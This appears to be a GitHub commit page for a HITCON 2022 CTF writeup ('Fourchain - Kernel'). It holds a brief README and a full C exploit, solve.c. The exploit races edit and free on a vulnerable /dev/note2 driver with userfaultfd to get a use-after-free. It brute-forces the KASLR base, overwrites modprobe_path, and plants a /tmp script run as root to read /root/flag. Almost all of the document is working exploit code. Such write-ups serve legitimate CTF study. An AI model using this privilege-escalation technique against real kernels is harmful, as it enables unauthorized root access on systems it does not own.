Skip to content

Commit 3f2a8a2

Browse files
committedDec 11, 2022
hitcon writeups
1 parent 285ec39 commit 3f2a8a2

File tree

2 files changed

+323
-0
lines changed

2 files changed

+323
-0
lines changed
 

‎2022/hitcon-2022/kernel/README.md

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
Fourchain - Kernel
2+
==================
3+
4+
* Pretty straightforward UAF by racing edit and free using userfaultfd.
5+
* Wasn't able to figure out how to leak KASLR so I just bruteforced it.
6+
* Once we get the right UAF, we can just overwrite modprobe_path.

‎2022/hitcon-2022/kernel/solve.c

Lines changed: 317 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,317 @@
1+
#define _GNU_SOURCE
2+
3+
#include <stdio.h>
4+
#include <fcntl.h>
5+
#include <stdint.h>
6+
#include <err.h>
7+
#include <time.h>
8+
#include <string.h>
9+
#include <unistd.h>
10+
#include <sys/ioctl.h>
11+
#include <sys/stat.h>
12+
#include <sys/user.h>
13+
#include <pthread.h>
14+
#include <sys/syscall.h>
15+
#include <sys/types.h>
16+
#include <sys/ipc.h>
17+
#include <sys/msg.h>
18+
#include <string.h>
19+
#include <sys/mman.h>
20+
#include <linux/userfaultfd.h>
21+
#include <stdlib.h>
22+
#include <sys/socket.h>
23+
#include <errno.h>
24+
#include <unistd.h>
25+
#include <poll.h>
26+
#include <sys/shm.h>
27+
#include <sched.h>
28+
29+
#define IO_ADD 0xFFFFFF00
30+
#define IO_EDIT 0xFFFFFF01
31+
#define IO_SHOW 0xFFFFFF02
32+
#define IO_DEL 0xFFFFFF03
33+
34+
struct arg
35+
{
36+
uint64_t idx;
37+
uint64_t size;
38+
uint64_t addr;
39+
};
40+
41+
struct node
42+
{
43+
uint64_t key;
44+
uint64_t size;
45+
uint64_t addr;
46+
};
47+
48+
int fd;
49+
int leak_done = 0;
50+
uint64_t modprobe_path = 0;
51+
int start_idx = 0;
52+
53+
void msleep(int msecs) {
54+
usleep(msecs * 1000);
55+
}
56+
57+
void *ufd_thread(void *arg)
58+
{
59+
struct uffd_msg uf_msg;
60+
long uffd = (long)arg;
61+
struct pollfd pollfd;
62+
int nready;
63+
64+
pollfd.fd = uffd;
65+
pollfd.events = POLLIN;
66+
67+
while(poll(&pollfd, 1, -1) > 0)
68+
{
69+
if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
70+
{
71+
perror("polling error");
72+
exit(-1);
73+
}
74+
// reading the event
75+
if(read(uffd, &uf_msg, sizeof(uf_msg)) == 0)
76+
{
77+
perror("error reading event");
78+
exit(-1);
79+
}
80+
if(uf_msg.event != UFFD_EVENT_PAGEFAULT)
81+
{
82+
perror("unexpected result from event");
83+
exit(-1);
84+
}
85+
uint64_t addr = uf_msg.arg.pagefault.address;
86+
printf("caught a fulfill race @ %p\n", addr);
87+
88+
struct arg data;
89+
char buf2[256];
90+
memset(buf2, 0, sizeof(buf2));
91+
data.idx = start_idx;
92+
printf("Deleted: %d\n", ioctl(fd, IO_DEL, &data));
93+
data.size = 256;
94+
data.addr = buf2;
95+
printf("New: %d\n", ioctl(fd, IO_ADD, &data));
96+
printf("New: %d\n", ioctl(fd, IO_ADD, &data));
97+
// for (int i = 0; i < 0x10; i++) {
98+
// printf("New: %d\n", ioctl(fd, IO_ADD, &data));
99+
// }
100+
101+
char buf[0x1000];
102+
memset(buf, 0, sizeof(buf));
103+
struct node* node_buf = (struct node*)buf;
104+
node_buf->addr = modprobe_path;
105+
106+
struct uffdio_copy cp;
107+
cp.src = (uint64_t)buf;
108+
cp.dst = addr;
109+
cp.len = 0x1000;
110+
cp.mode = 0;
111+
112+
if(ioctl(uffd, UFFDIO_COPY, &cp) == -1)
113+
{
114+
perror("uffdio_copy error");
115+
exit(-1);
116+
}
117+
printf("Copy %llx\n", cp.copy);
118+
puts("Fulfill finished");
119+
}
120+
return 0;
121+
}
122+
123+
124+
void register_userfaultfd(void *addr)
125+
{
126+
int uffd, race;
127+
struct uffdio_api uf_api;
128+
struct uffdio_register uf_register;
129+
pthread_t thread;
130+
131+
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
132+
uf_api.api = UFFD_API;
133+
uf_api.features = 0;
134+
135+
// creating userfaultfd for race condition because using unlocked_ioctl without locking mutexes
136+
if (ioctl(uffd, UFFDIO_API, &uf_api) == -1)
137+
{
138+
perror("error with the uffdio_api");
139+
exit(-1);
140+
}
141+
142+
uf_register.range.start = (uintptr_t)addr;
143+
uf_register.range.len = 0x1000;
144+
uf_register.mode = UFFDIO_REGISTER_MODE_MISSING;
145+
146+
// uffd will change when the kernel thread page faults here and hangs
147+
if (ioctl(uffd, UFFDIO_REGISTER, &uf_register) == -1)
148+
{
149+
perror("error registering page for userfaultfd");
150+
}
151+
152+
race = pthread_create(&thread, NULL, ufd_thread, (void*)uffd);
153+
if(race != 0)
154+
{
155+
perror("can't setup threads for race");
156+
}
157+
return;
158+
}
159+
160+
static int shmid[4096];
161+
static void *shmaddr[0x100];
162+
163+
void alloc_shm(int i)
164+
{
165+
shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
166+
167+
if (shmid[i] < 0)
168+
{
169+
perror("[X] shmget fail");
170+
exit(1);
171+
}
172+
173+
shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);
174+
175+
if (shmaddr[i] < 0)
176+
{
177+
perror("[X] shmat");
178+
exit(1);
179+
}
180+
}
181+
182+
183+
void print_affinity()
184+
{
185+
cpu_set_t mask;
186+
long ncpu, i;
187+
188+
if (sched_getaffinity(getpid(), sizeof(cpu_set_t), &mask) < 0)
189+
{
190+
perror("[X] sched_getaffinity()");
191+
exit(1);
192+
}
193+
194+
ncpu = sysconf(_SC_NPROCESSORS_ONLN);
195+
puts("[*] CPU affinity:");
196+
197+
for (i = 0; i < ncpu; i++)
198+
printf(" └ Core #%d = %d\n", i, CPU_ISSET(i, &mask));
199+
}
200+
201+
void assign_to_core(int core_id)
202+
{
203+
cpu_set_t mask;
204+
pid_t pid;
205+
206+
pid = getpid();
207+
208+
printf("[*] Assigning process %d to core %d\n", pid, core_id);
209+
210+
CPU_ZERO(&mask);
211+
CPU_SET(core_id, &mask);
212+
213+
if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
214+
{
215+
perror("[X] sched_setaffinity()");
216+
exit(1);
217+
}
218+
219+
print_affinity();
220+
}
221+
222+
int main(int argc, char** argv) {
223+
assign_to_core(0);
224+
system("cat /proc/kallsyms | grep note2 | grep table");
225+
226+
system("rm -f /tmp/x; rm -f /tmp/a");
227+
system("echo -ne '#!/bin/sh\\ncat /root/flag > /sice\\nchmod 777 /sice\\n' > /tmp/x");
228+
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/a");
229+
system("chmod 777 /tmp/*");
230+
231+
uint64_t kaslr;
232+
if (argc > 1) {
233+
sscanf(argv[1], "%llx", &kaslr);
234+
} else {
235+
kaslr = 0xffffffffb4000000;
236+
}
237+
modprobe_path = kaslr + 0x1654b20;
238+
printf("Modprobe_path: 0x%llx\n", modprobe_path);
239+
240+
if (argc > 2) {
241+
start_idx = atoi(argv[2]);
242+
}
243+
244+
fd = open("/dev/note2", O_RDWR);
245+
printf("Fd: %d\n", fd);
246+
247+
void * leak_addr = 0x700000000000ULL;
248+
if (mmap(leak_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0) != leak_addr)
249+
{
250+
perror("whoopsie doopsie on mmap A");
251+
exit(-1);
252+
}
253+
register_userfaultfd(leak_addr);
254+
255+
for (int i = 0; i < 0; i++) {
256+
alloc_shm(i);
257+
}
258+
259+
struct arg data;
260+
data.size = 32;
261+
char buf[32];
262+
memset(buf, 0, sizeof(buf));
263+
data.addr = buf;
264+
ioctl(fd, IO_ADD, &data);
265+
266+
//getchar();
267+
268+
data.idx = start_idx;
269+
data.addr = leak_addr;
270+
ioctl(fd, IO_EDIT, &data);
271+
272+
//getchar();
273+
274+
uint64_t buf_out[0x200/8];
275+
data.addr = buf_out;
276+
data.idx = start_idx+1;
277+
ioctl(fd, IO_SHOW, &data);
278+
printf("%llx %llx %llx %llx\n", buf_out[0], buf_out[1], buf_out[2], buf_out[3]);
279+
280+
uint64_t combined = buf_out[0] ^ buf_out[1];
281+
if(combined != 0x6f6d4a0c0610034bULL) {
282+
printf("Offset Nearby: 0x%llx\n", combined);
283+
int off = -100;
284+
if (combined == 0xffffffff8bd0fc75ULL) off = -8;
285+
else if (combined == (0xfee073e6fee073faULL ^ 0xfee073c1fee073dbULL)) off = -7;
286+
else if (combined == (0x0a2363fdf5f00523ULL ^ 0xf3925f616c6e2df0ULL)) off = -6;
287+
else if (combined == (0x20646c697562206fULL ^ 0x797469746e656469ULL)) off = -5;
288+
else if (combined == (0x000024d6000302ffULL ^ 0x000024c600027311ULL)) off = -4;
289+
else if (combined == (0x0000026d00000028ULL ^ 0x0000000000000055ULL)) off = -3;
290+
else if (combined == (0x785f5f003233656dULL ^ 0x695f7379735f3436ULL)) off = -2;
291+
else if (combined == (0x5f7061636e655f6cULL ^ 0x656e65670073706fULL)) off = -1;
292+
else if (combined == (0x0000000000000000ULL ^ 0x0000000000000000ULL)) off = 1;
293+
else if (combined == (0xffffffff8bd9d6e0ULL ^ 0xffffffff8bd1ea74ULL)) off = 2;
294+
else if (combined == (0xfec1e21afec1e21dULL ^ 0xfec1e217fec1e217ULL)) off = 3;
295+
else if (combined == (0x0008000000000000ULL ^ 0x0000000000050000ULL)) off = 4;
296+
else if (combined == (0x0005000000080000ULL ^ 0x0008000000000000ULL)) off = 5;
297+
298+
uint64_t new_base = kaslr - off*0x100000ULL;
299+
char kekw[1000];
300+
sprintf(kekw, "./kekw %llx 2", new_base);
301+
printf("%s\n", kekw);
302+
system(kekw);
303+
return;
304+
} else {
305+
puts("CORRECT");
306+
}
307+
308+
uint64_t xor_key = 0x6f6d2f6e6962732fULL ^ buf_out[0];
309+
memset(buf_out, 0, sizeof(buf_out));
310+
buf_out[0] = 0x782f706d742fULL ^ xor_key;
311+
312+
ioctl(fd, IO_EDIT, &data);
313+
314+
system("/tmp/a; cat /sice");
315+
316+
//getchar();
317+
}

0 commit comments

Comments
 (0)
Please sign in to comment.